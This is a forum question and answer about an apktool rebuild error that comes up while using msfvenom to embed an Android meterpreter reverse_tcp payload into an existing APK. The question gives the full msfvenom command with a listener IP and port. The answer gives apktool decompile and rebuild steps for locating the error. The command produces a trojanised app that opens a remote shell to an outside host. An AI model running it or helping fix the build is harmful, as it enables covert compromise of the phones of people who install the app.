androidapkpayloadapktoolmetasploit

Error: Unable to rebuild apk with apktool


tried this many times └─# sudo msfvenom --arch dalvik --platform android -x test.apk -p android/meterpreter/reverse_tcp LHOST=193.161.193.99 LPORT=55383 -o test_payload.apk

still getting error

W: aapt: brut.common.BrutException: brut.common.BrutException: Could not extract resource: /prebuilt/linux/aapt_64 (defaulting to $PATH binary) W: aapt: error while loading shared libraries: libc++.so: cannot open shared object file: No such file or directory brut.androlib.AndrolibException: brut.common.BrutException: could not exec (exit code = 127): [aapt, p, --min-sdk-version, 19, --target-sdk-version, 28, --version-code, 56, --version-name, 7.84.1, --no-version-vectors, -F, /tmp/APKTOOL6592502140780192109.tmp, -0, resources.arsc, -0, png, -0, jpg, -0, assets/index.android.bundle.meta, -0, arsc, -I, /root/.local/share/apktool/framework/1.apk, -S, /tmp/d20201230-14307-68tq6m/original/res, -M, /tmp/d20201230-14307-68tq6m/original/AndroidManifest.xml] Error: Unable to rebuild apk with apktool

tried clearing old framework .....


Solution

  • First decompile the apk:-

    kali> apktool d filename.apk

    Then recompile it:-

    kali>apktool b filename

    This will show where the error is occuring